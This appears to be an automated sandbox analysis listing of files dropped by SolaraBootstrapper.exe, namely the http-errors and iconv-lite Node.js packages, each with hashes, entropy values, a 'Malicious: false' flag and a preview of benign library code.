Preview:	# http-errors..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][node-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Create HTTP errors for Express, Koa, Connect, etc. with ease...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```console.$ npm install http-errors.```..## Example..```js.var createError = require('http-errors').var express = require('express').var app = express()..app.use(function (req, res, next) {. if (!req.user) return next(createError(401, 'Please login to view this page.')). next().}).```..## API..This is the current API, currently extracted from Koa and subject to change...### Error Properties..- `expose` - can be used to signal if `messa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6391
Entropy (8bit):	4.675207843615285
Encrypted:	false
SSDEEP:	192:aQqVdCvgJsEhejmmXs10bxnOdZEhEwl0bxnOp0tOfgt:aQqbCvgJsUkG09nd09ncfa
MD5:	213C0887ADDECC762964DB8CE2030F2F
SHA1:	B8F60A860443B05A62EB6C4EC1C300F1945886F1
SHA-256:	0F484A62F0587E00002F3FD194B1ACA9BCDD1881FCB3250E98B5AC17DF7DD1FD
SHA-512:	D9BB2399C659AF3F9E08763B69119BFF9EEE985EE6DC7185BAF85D59405FCAF765A808FB998553290419B2CF4794543A6FD4517BF338ACDA83F313DA62423150
Malicious:	false
Preview:	/!. http-errors. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var deprecate = require('depd')('http-errors').var setPrototypeOf = require('setprototypeof').var statuses = require('statuses').var inherits = require('inherits').var toIdentifier = require('toidentifier')../. Module exports.. * @public. /..module.exports = createError.module.exports.HttpError = createHttpErrorConstructor().module.exports.isHttpError = createIsHttpErrorFunction(module.exports.HttpError)..// Populate exports for all constructors.populateConstructorExports(module.exports, statuses.codes, module.exports.HttpError)../. Get the code class of a status code.. * @private. /..function codeClass (status) {. return Number(String(status).charAt(0) + '00').}../. Create a new HTTP Error.. . @returns {Error}. * @public. */..function createError () {. // so much arity going on ~_~. var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	4.822073227311272
Encrypted:	false
SSDEEP:	24:7D13bYxL+PnDqb0YuNCeRIZBlWi2nfrRQWeLl105P6sKeu:753bGL+PDqYYuNCeRIzUbzje70yeu
MD5:	F44E01D2E815367806C58207AC92A5FC
SHA1:	BCB1768525F7F5E1AF75C272867BFED66DD983C7
SHA-256:	DDA88273810EC9E624BF08D4815CB6AA4007135BF98CE11706D2E1B2F2A6690A
SHA-512:	B8B523CEFE68FC2F4E55AB656F024557DA925360AF9E5ADF9143AE55F7E93E7AD3FE95E7809FD0F7406B500A525C777329EFCE219CFCD0E88B73376D098C08AB
Malicious:	false
Preview:	{. "name": "http-errors",. "description": "Create HTTP error objects",. "version": "2.0.0",. "author": "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "contributors": [. "Alan Plum <me@pluma.io>",. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "repository": "jshttp/http-errors",. "dependencies": {. "depd": "2.0.0",. "inherits": "2.0.4",. "setprototypeof": "1.2.0",. "statuses": "2.0.1",. "toidentifier": "1.0.1". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.3",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.1.3",. "nyc": "15.1.0". },. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "eslint . && node ./scripts/lint-readme-list.js",. "test": "mocha --reporter spec --bail",. "test-ci": "ny

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\Changelog.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4342
Entropy (8bit):	5.045844904342997
Encrypted:	false
SSDEEP:	96:AbEHL1ml81arHep4pvo+hjtKIIiT5iGAVzH3o0gNSUaLHQjn/8XKTTSydn:AbEHL+8sHbpvo+eIIw5ivVzH4nN0QDEw
MD5:	11F7C1FC239799DED47D06C8ABD91B9B
SHA1:	DBB28CEBB8AC5C1472D03DF37F937CCAC610BCC3
SHA-256:	0C7C66F8F39354E7B15C4431A95C2BCD40941F9AE8D666EFA8F17AFB97B87C82
SHA-512:	BFFEDAFF4F73D29F4E757C3C1990D0F837A34CD96244F0B6D6B34171B26E507B5BCC62D46AA7A2CD8BB823A99E561136954E5E4020B525A81351A4AF2C2E3337
Malicious:	false
Preview:	# 0.4.24 / 2018-08-22.. * Added MIK encoding (#196, by @Ivan-Kalatchev)...# 0.4.23 / 2018-05-07.. * Fix deprecation warning in Node v10 due to the last usage of `new Buffer` (#185, by @felixbuenemann). * Switched from NodeBuffer to Buffer in typings (#155 by @felixfbecker, #186 by @larssn)...# 0.4.22 / 2018-05-05.. * Use older semver style for dependencies to be compatible with Node version 0.10 (#182, by @dougwilson). * Fix tests to accomodate fixes in Node v10 (#182, by @dougwilson)...# 0.4.21 / 2018-04-06.. * Fix encoding canonicalization (#156). * Fix the paths in the "browser" field in package.json (#174 by @LMLB). * Removed "contributors" section in package.json - see Git history instead....# 0.4.20 / 2018-04-06.. * Updated `new Buffer()` usages with recommended replacements as it's being deprecated in Node v10 (#176, #178 by @ChALkeR)...# 0.4.19 / 2017-09-09.. * Fixed iso8859-1 codec regression in handling untranslatable characters (#162, caused by #147). * Re-generat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	5.109065218676079
Encrypted:	false
SSDEEP:	24:ciJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFz:ciJzfPvGt7ICQH+sfIte36AFz
MD5:	F942263D98F0D75E0E0101884E86261D
SHA1:	4F3CA49A793F6BB8465A3731FD965A128757B8CE
SHA-256:	AC779F7314C74F232EF847EA86E714ABE25CF6EEB5CC97B69451B74E2AF6492D
SHA-512:	B500B93AE948BE0023297CCD98873B4B8C8A73798326B865EB8D01812F8C22551BF44EADFEEC2ADE17D4AA94BBFBA4A9B456D9737BC7A56ED6D1F913C52613EC
Malicious:	false
Preview:	Copyright (c) 2011 Alexander Shtuchkin..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION.W

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6534
Entropy (8bit):	5.202264136813618
Encrypted:	false
SSDEEP:	192:jwHaE9jXsiMXsNyHSc18hbhj550/LIO83:nEFXsxRSxg/k3
MD5:	011C8D9193893A9AA6AB12469E808399
SHA1:	8069BC17BDD2FA876E304BAEB37BA82A5046ABC8
SHA-256:	A417C996CEB04E8DBACA5D18187820AFE34CE5105FFD4B7C3EF3C5BEAE298EBA
SHA-512:	D51464C7D3ACA03209411D72F0390EE31732F8CB849CCF08A2379F899768B8A788C11C81A271205FDD3F3D01A9726514935E4096EF6AC252BB5B5CEDAAD192E1
Malicious:	false
Preview:	## Pure JS character encoding conversion [![Build Status](https://travis-ci.org/ashtuchkin/iconv-lite.svg?branch=master)](https://travis-ci.org/ashtuchkin/iconv-lite).. * Doesn't need native code compilation. Works on Windows and in sandboxed environments like [Cloud9](http://c9.io).. * Used in popular projects like [Express.js (body_parser)](https://github.com/expressjs/body-parser), . [Grunt](http://gruntjs.com/), [Nodemailer](http://www.nodemailer.com/), [Yeoman](http://yeoman.io/) and others.. * Faster than [node-iconv](https://github.com/bnoordhuis/node-iconv) (see below for performance comparison).. * Intuitive encode/decode API. * Streaming support for Node v0.10+. * [Deprecated] Can extend Node.js primitives (buffers, streams) to support all iconv-lite encodings.. * In-browser usage via [Browserify](https://github.com/substack/node-browserify) (~180k gzip compressed with Buffer shim included).. * Typescript [type definition file](https://github.com/ashtuchkin/iconv-lite/blob/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\dbcs-codec.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21415
Entropy (8bit):	4.695480882522162
Encrypted:	false
SSDEEP:	384:Kz2XanmPe6rQk8hRVVkhSdj8Wwj4asmTFZy5GlIdnRtMq7/ZxD3ayH:KzTnmPFrQkQVVc4j8Wwj4ITFZqAKnz9n
MD5:	6DECBCDFE2BA5ED5C3A75466CE94CDFC
SHA1:	4EA89EB73A2B3CC3C0CA945280BA2783FCF946BC
SHA-256:	D39BC17F93FC56AF631B00E36542488923378CCE5AD9E7DB48252CE7A1E7B1ED
SHA-512:	18D44778C434F62BF850221056D9B40348E0EEC36C2FDB86CCF0E59ED603687641A60475D8D9C9C553BBC80C8485968291F5CFFB37BCED585A831494AD39C082
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Multibyte codec. In this scheme, a character is represented by 1 or more bytes..// Our codec supports UTF-16 surrogates, extensions for GB18030 and unicode sequences..// To save memory and loading time, we read table files only when requested...exports._dbcs = DBCSCodec;..var UNASSIGNED = -1,. GB18030_CODE = -2,. SEQ_START = -10,. NODE_START = -1000,. UNASSIGNED_NODE = new Array(0x100),. DEF_CHAR = -1;..for (var i = 0; i < 0x100; i++). UNASSIGNED_NODE[i] = UNASSIGNED;...// Class DBCSCodec reads and initializes mapping tables..function DBCSCodec(codecOptions, iconv) {. this.encodingName = codecOptions.encodingName;. if (!codecOptions). throw new Error("DBCS codec is called without the data."). if (!codecOptions.table). throw new Error("Encoding '" + this.encodingName + "' has no data.");.. // Load tables.. var mappingTable = codecOptions.table();... // Decode tables: MBCS ->

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\dbcs-data.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8291
Entropy (8bit):	5.146284980949226
Encrypted:	false
SSDEEP:	96:ZeO1igeleOWQSZuMqz7t+zOhbIy3RJ8nhBlulK2KQ+uQ515l66AzCz51nrpMZbzv:kO1kxWQSYJtbV3nYzckvlMZR/HB
MD5:	E56D3D57DF85DC818087254A8A16A699
SHA1:	1CCCEF8583AC6E070E9D911760633CA8D9F7CA8C
SHA-256:	E213F77E926605C30649EA48BCEA851D1EC063BB17FA4C2AB6D3B64853B481AC
SHA-512:	1BC7A9C76CE1F2F971978600D95F777D3B381633C6D1D0C47B224D2BB23752D095C4E4229FF83A0CEA5BA845C608BAD27D31817B55B6845C35E0821A34A51021
Malicious:	false
Preview:	"use strict";..// Description of supported double byte encodings and aliases..// Tables are not require()-d until they are needed to speed up library load..// require()-s are direct to support Browserify...module.exports = {. . // == Japanese/ShiftJIS ====================================================. // All japanese encodings are based on JIS X set of standards:. // JIS X 0201 - Single-byte encoding of ASCII + . + Kana chars at 0xA1-0xDF.. // JIS X 0208 - Main set of 6879 characters, placed in 94x94 plane, to be encoded by 2 bytes. . // Has several variations in 1978, 1983, 1990 and 1997.. // JIS X 0212 - Supplementary plane of 6067 chars in 94x94 plane. 1990. Effectively dead.. // JIS X 0213 - Extension and modern replacement of 0208 and 0212. Total chars: 11233.. // 2 planes, first is superset of 0208, second - revised 0212.. // Introduced in 2000, revised 2004. Some characters are in Unicode Plane 2 (0x2xxxx).

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	710
Entropy (8bit):	4.74427800311378
Encrypted:	false
SSDEEP:	12:uucCK5RHzFLgdrxJvnzqzmYaMmOjsm9XHMuPfsErISeXD7yCQiTJX:SBXHFgJ/fzqzmYGOjsmZIRSdYTJX
MD5:	7A13671A7FBC74C463377B3CDA863503
SHA1:	79E395B6DFAFD0AE516E18C81B828EF3DE0C76AA
SHA-256:	69607A9EE51B63333D0E7EE20A38B52E1E96652A4BBC09C701D70835FBBFE10A
SHA-512:	479FAE492896EC38035777E43DA891322CBD9108D2A9D06BE16B19EFACE2162D6DD34281DF1450D2C877EE55AFBD6818DCC3C4DC9F43940D62A429BF94362257
Malicious:	false
Preview:	"use strict";..// Update this array if you add/rename/remove files in this directory..// We support Browserify by skipping automatic module discovery and requiring modules directly..var modules = [. require("./internal"),. require("./utf16"),. require("./utf7"),. require("./sbcs-codec"),. require("./sbcs-data"),. require("./sbcs-data-generated"),. require("./dbcs-codec"),. require("./dbcs-data"),.];..// Put all encoding/alias/codec definitions to single object and export it. .for (var i = 0; i < modules.length; i++) {. var module = modules[i];. for (var enc in module). if (Object.prototype.hasOwnProperty.call(module, enc)). exports[enc] = module[enc];.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\internal.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6115
Entropy (8bit):	4.7023357481323655
Encrypted:	false
SSDEEP:	96:xxjXzBkMDIaChyXR9HJlY5QzkK7b5MhJpBWxGDql+qiQaxd9vDMGEvvDc89yie7e:XXzBkDaChs9HJlY5QzkKH5MhJpkt1iQf
MD5:	701B0858FB6FA82101365D81D7406F04
SHA1:	6B0E421BFD6FA701D0FDB42FBF5A512778774757
SHA-256:	39D9DD0568708A23C5999FCD6C417EC64F35ECBECD37205F91C7C6B59D14D773
SHA-512:	A523014D0EF985FE644578649AA4D2BA5C192959FB7CB93995F5083813F12B8DB6689C0B81CBB5BC411E62E44B1DF9131095D14BB18C3504EB27EC7C32B4ED19
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Export Node.js internal encodings...module.exports = {. // Encodings. utf8: { type: "_internal", bomAware: true},. cesu8: { type: "_internal", bomAware: true},. unicode11utf8: "utf8",.. ucs2: { type: "_internal", bomAware: true},. utf16le: "ucs2",.. binary: { type: "_internal" },. base64: { type: "_internal" },. hex: { type: "_internal" },.. // Codec.. _internal: InternalCodec,.};..//------------------------------------------------------------------------------..function InternalCodec(codecOptions, iconv) {. this.enc = codecOptions.encodingName;. this.bomAware = codecOptions.bomAware;.. if (this.enc === "base64"). this.encoder = InternalEncoderBase64;. else if (this.enc === "cesu8") {. this.enc = "utf8"; // Use utf8 for decoding.. this.encoder = InternalEncoderCesu8;.. // Add decoder for versions of Node not supporting CESU-8. if (Buffer

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\sbcs-codec.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2191
Entropy (8bit):	4.872958302882698
Encrypted:	false
SSDEEP:	48:dzNyvH+G49CEqHbDKuxVyJnV/1OVEq5RMRtRTOfDSx+fEc76Qd:xsY9fubyxV/m/RMrR4DFfSQd
MD5:	6F257833A4D930EAA9AF9225FAEF16B8
SHA1:	D0C2BDE053DCE8027EFF00B2E172CBED45579E6C
SHA-256:	FB511C4C70A6CB0E2A06D03E67CA88DCA9F4DA6266B909C7338E453D2ECC9FDB
SHA-512:	8285675ABD62F7174D2D94C15047B3032E616E73E885F8075B7CA073A59322C391EBD68CA3144BBEB8B06E7026600EF9C3BDE43733F25EB7D6890167D0F907A5
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Single-byte codec. Needs a 'chars' string parameter that contains 256 or 128 chars that.// correspond to encoded bytes (if 128 - then lower half is ASCII). ..exports._sbcs = SBCSCodec;.function SBCSCodec(codecOptions, iconv) {. if (!codecOptions). throw new Error("SBCS codec is called without the data."). . // Prepare char buffer for decoding.. if (!codecOptions.chars \|\| (codecOptions.chars.length !== 128 && codecOptions.chars.length !== 256)). throw new Error("Encoding '"+codecOptions.type+"' has incorrect 'chars' (must be of len 128 or 256)");. . if (codecOptions.chars.length === 128) {. var asciiString = "";. for (var i = 0; i < 128; i++). asciiString += String.fromCharCode(i);. codecOptions.chars = asciiString + codecOptions.chars;. }.. this.decodeBuf = Buffer.from(codecOptions.chars, 'ucs2');. . // Encoding buffer.. var encodeBuf = Buffer.al

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\sbcs-data-generated.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	data
Category:	dropped
Size (bytes):	32034
Entropy (8bit):	6.328773645887887
Encrypted:	false
SSDEEP:	768:j2lyKokKKZ2DVsRUdQJkEkSFnCrHmUFC5uyr:j24MKKRI/fakmU+
MD5:	78C27D9268D36644AC77B82B956F5B1F
SHA1:	8CEB7540842B7FB237391EC3C324035A3FEB7336
SHA-256:	2CF44B3F70C61C9CDD59FDA7EC085BC3180809638F208C7239688CCB90A48866
SHA-512:	AB9154847D29136D4A5E7C7B06105704E6CF42966F26066D87F8E54EB5CE49849757400A9E84E09D8F0C22FFA45F4EDF47339525F8E5DC06FD427DC85A5A3416
Malicious:	false
Preview:	"use strict";..// Generated data for sbcs codec. Don't edit manually. Regenerate using generation/gen-sbcs.js script..module.exports = {. "437": "cp437",. "737": "cp737",. "775": "cp775",. "850": "cp850",. "852": "cp852",. "855": "cp855",. "856": "cp856",. "857": "cp857",. "858": "cp858",. "860": "cp860",. "861": "cp861",. "862": "cp862",. "863": "cp863",. "864": "cp864",. "865": "cp865",. "866": "cp866",. "869": "cp869",. "874": "windows874",. "922": "cp922",. "1046": "cp1046",. "1124": "cp1124",. "1125": "cp1125",. "1129": "cp1129",. "1133": "cp1133",. "1161": "cp1161",. "1162": "cp1162",. "1163": "cp1163",. "1250": "windows1250",. "1251": "windows1251",. "1252": "windows1252",. "1253": "windows1253",. "1254": "windows1254",. "1255": "windows1255",. "1256": "windows1256",. "1257": "windows1257",. "1258": "windows1258",. "28591": "iso88591",. "28592": "iso88592",. "28593": "iso88593",. "28594": "iso88594",. "28595": "iso88595",. "28596": "iso8

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\sbcs-data.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	5.262297729359287
Encrypted:	false
SSDEEP:	96:xVYsSWJdoczNtWdU2AgpRJhGZfkfbp4gyWDEpqs:nGWFrMYgpPhGZfkfbpSLn
MD5:	336BE4EDA323A03B88D06985F15C3524
SHA1:	B22C786C5CC8A3B58F650E413F7ADE37152CD173
SHA-256:	3116C986BFF5D0B3A0D9EE1700D97AC466965A7B30D353300D408B41622604C2
SHA-512:	68C8BA39F66720A462415E372A8C0B2FBBDB85C4957E37D7A525A8726F23DE6808812BD753FCC8BA6500F8FD0AA91A532B5F8418233EC4FB2CCD626F42215B2E
Malicious:	false
Preview:	"use strict";..// Manually added data to be used by sbcs codec in addition to generated one...module.exports = {. // Not supported by iconv, not sure why.. "10029": "maccenteuro",. "maccenteuro": {. "type": "_sbcs",. "chars": "................................................................................................................................". },.. "808": "cp808",. "ibm808": "cp808",. "cp808": {. "type": "_sbcs",. "chars": "................................................................................................................................". },.. "mik": {. "type": "_sbcs",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\big5-added.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17717
Entropy (8bit):	6.109390635315052
Encrypted:	false
SSDEEP:	384:UdWyG4Gg/Dutxccky/pqyPtayOsXO5jrzVqMgoeeJJ5guJ3i:R4ovk+nPJOsov5qEeeJJK3
MD5:	F29EDA07F68F9E3F234638D42956F9AB
SHA1:	E61B2D77A36BCE976F563F659300E06A33C9E6E9
SHA-256:	DB94DB5E5D3AB696DDB0025685CFA85DA1864839A4A26AAB2F8F86F6B8382288
SHA-512:	AC83EF6C09AF9258273B586B0B33614B6DA6759930A23BCBF1D0E5428AFC076767916BC49B04A98A1BF952B8E8F9CB0F81283D747A724AF01162DBA184079BE4
Malicious:	false
Preview:	[.["8740","....................................................."],.["8767","................................"],.["87a1","................................................................................"],.["8840",".",4,"....................................................................."],.["88a1",".............."],.["8940","...."],.["8943","."],.["8946","...."],.["894c","...................................................."],.["89a1","......"],.["89ab","...."],.["89b0","...."],.["89b5","...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\cp936.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47320
Entropy (8bit):	5.975707024029791
Encrypted:	false
SSDEEP:	768:qHRrIrFlXsioCUVgEHFrg232EXPIOqqGBMhHoVE9OfZ+mssnXpOH:qhI5aHCU7HFrtXPgqGOxbU5E
MD5:	9EAE47ACF0B20461508FDC4506BD905E
SHA1:	22B95CE3E9743DC8DF815B8A6B9C13D1A9F7C229
SHA-256:	8225BB693EFD380279ED7280B8F8419FD069C5F018D20D5946BF187AD92C0CF7
SHA-512:	781667081C82281F69334D917C53ED81A7D283C0B7CCD5C393591790A746C9C0096265403F28555157340C69E37A340BCEE23C3E27AA0BD9A7203D5FC81FDE74
Malicious:	false
Preview:	[.["0","\u0000",127,"."],.["8140","......................................",5,"..",9,".",6,".."],.["8180",".............................................",6,"...",4,"................",4,"...",5,"........................................."],.["8240","....",4,".",8,"...........",4,"....................",11],.["8280","..................",10,"..............",4,"......",7,".",5,".",8,"................",20,".....",4,".",6,"."],.["8340",".",17,".",5,"....",10,".........."

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\cp949.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38122
Entropy (8bit):	6.187510295563581
Encrypted:	false
SSDEEP:	768:VY4aBEddk76wYCuos24JmKyOgGcIFWS5gGMY5u0v5uXV4siZoCTQtPAFRp:C4a+jjwYfodOmKyOgGcIQS5gg5r+iZo2
MD5:	D99876B274D44FC737C8495BA36B3784
SHA1:	A3A6E6F61A78B50E54947F11CE8DAEBB8756209D
SHA-256:	77A56EA83D0D94D1DC620042AD3C897F0E40814BB05C0085D3AEED0018E8A3E8
SHA-512:	308E4A1051163AA335DE4A255689C579488CB0A01EFFC4CF57392C0F429BBFCAD466F698614EBBFAE38782BD6DED091DEAB012196605CA023E26B6A1C45C900C
Malicious:	false
Preview:	[.["0","\u0000",127],.["8141",".....",4,".......",6,"...."],.["8161",".........",9,"..",5,"."],.["8181","......",18,"......",4,"..........",6,"..",5,"....",6,".............",7,"..",7,"...........",4,".......",4,"...."],.["8241","...........",7,"...",5],.["8261","......",6,"...",5,"......"],.["8281",".",7,"..",7,"...........",4,"......",10,".",5,".",17,".",7,"......",6,"..",7,".......",18],.["8341",".....",5,"...",5,".",7],.["8361",".",18,"......."],.["8381","...............",4,"............",6,"..",5,".",5,".",46,".....",6,"..",5,"...",8],.["8441","...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\cp950.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42356
Entropy (8bit):	5.945150159976492
Encrypted:	false
SSDEEP:	768:R69o3X4Rf9i7bwjpM+aweZjh8WcwLhYQB4nbwjTfjPMvTD3gFWCXxDJK98:4o3XK1i/Ay+aDZ4ChpBuorjk3IXxDJC8
MD5:	15D09686CE9E9BA80B3014D3161E2E7E
SHA1:	33AD3790A0660CD2B7C0C599A7F5D3C147596BEC
SHA-256:	99E2114DC4B39092617967C763F9EAEB4D8E70551AFC5884BAA3FB92827F3420
SHA-512:	6008770D8E8FCE0F18B1C5F2BC37B51908ECC75FC50D629AA505713FF5E8A934F5F9571703822DF0D22D3B6777B4192B727005E76CCEB578135A41B46C2FDE62
Malicious:	false
Preview:	[.["0","\u0000",127],.["a140","..............................................................."],.["a1a1","..............................................................",4,"............................"],.["a240","...................................",7,"....................."],.["a2a1","...............",9,".",9,".",8,"....",25,".",21],.["a340",".....",16,".",6,".",16,".",6,".",10],.["a3a1",".",25,"....."],.["a3e1","."],.["a440","..............................

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\eucjp.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41064
Entropy (8bit):	6.013263121353981
Encrypted:	false
SSDEEP:	768:WMC+35C36zZTSrW9QrABsFntp6dFW+uf0IlE50bOfoYZnkeNt9KPRr1:WMC+35C3kuW9uABOtMy0Iu50bOGeERr1
MD5:	98D5CF16FC6B791A0B2C829339766D16
SHA1:	9BEB6AFA39229A044FD6935A92CA5E997F6FAC78
SHA-256:	7C4FE279000F7E99FC7CD59AFB1DA21725DCEBDC1BABD9E3B883253A77ABB042
SHA-512:	1A923573B2D41EE7AB42BF6CD21BD17D04B8F0DFE2EBA7419000B2768BB5693C8ED5A32171A9F4E382981368C582C8409CD32A4E1067A4D4D47635C127A042C0
Malicious:	false
Preview:	[.["0","\u0000",127],.["8ea1",".",62],.["a1a1","..................................................",9,"..................................."],.["a2a1",".............."],.["a2ba","........"],.["a2ca","......."],.["a2dc","..............."],.["a2f2","........"],.["a2fe","."],.["a3b0",".",9],.["a3c1",".",25],.["a3e1",".",25],.["a4a1",".",82],.["a5a1",".",85],.["a6a1",".",16,".",6],.["a6c1",".",16,".",6],.["a7a1",".",5,"..",25],.["a7d1",".",5,"..",25],.["a8a1","................................"],.["ada1",".",19,".",9],.["adc0","......................."],.["addf",".......",4,"..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\gb18030-ranges.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2216
Entropy (8bit):	3.4322567660280536
Encrypted:	false
SSDEEP:	48:Y7U0CyxAMT6nlPZJ5kHK6TC74MUxUULKqXJU0X2VLO/wt2J8QbK:f0p2JGq6O7KK6XBYp
MD5:	4FBEC8C88ACBB1EF60A5AEBF9E8E719B
SHA1:	BFCE88FC92E98C19910FBEF1B02B85FB5D2CF2F9
SHA-256:	5A3CC11E38F05A0908442ACBF1C921D0B73F2A304FB6A9E4484E26EB1CA07D76
SHA-512:	B57A454D71E4F01D49ADC606A5C6AB5616869C54F0C3F9C30B80E7EF13A67246E9DFA5AACA06E96B0A76004CCFCA180175825141BB2A7366E65E8F7E443A43DA
Malicious:	false
Preview:	{"uChars":[128,165,169,178,184,216,226,235,238,244,248,251,253,258,276,284,300,325,329,334,364,463,465,467,469,471,473,475,477,506,594,610,712,716,730,930,938,962,970,1026,1104,1106,8209,8215,8218,8222,8231,8241,8244,8246,8252,8365,8452,8454,8458,8471,8482,8556,8570,8596,8602,8713,8720,8722,8726,8731,8737,8740,8742,8748,8751,8760,8766,8777,8781,8787,8802,8808,8816,8854,8858,8870,8896,8979,9322,9372,9548,9588,9616,9622,9634,9652,9662,9672,9676,9680,9702,9735,9738,9793,9795,11906,11909,11913,11917,11928,11944,11947,11951,11956,11960,11964,11979,12284,12292,12312,12319,12330,12351,12436,12447,12535,12543,12586,12842,12850,12964,13200,13215,13218,13253,13263,13267,13270,13384,13428,13727,13839,13851,14617,14703,14801,14816,14964,15183,15471,15585,16471,16736,17208,17325,17330,17374,17623,17997,18018,18212,18218,18301,18318,18760,18811,18814,18820,18823,18844,18848,18872,19576,19620,19738,19887,40870,59244,59336,59367,59413,59417,59423,59431,59437,59443,59452,59460,59478,59493,63789,63866,6

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\gbk-added.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	5.044163479878134
Encrypted:	false
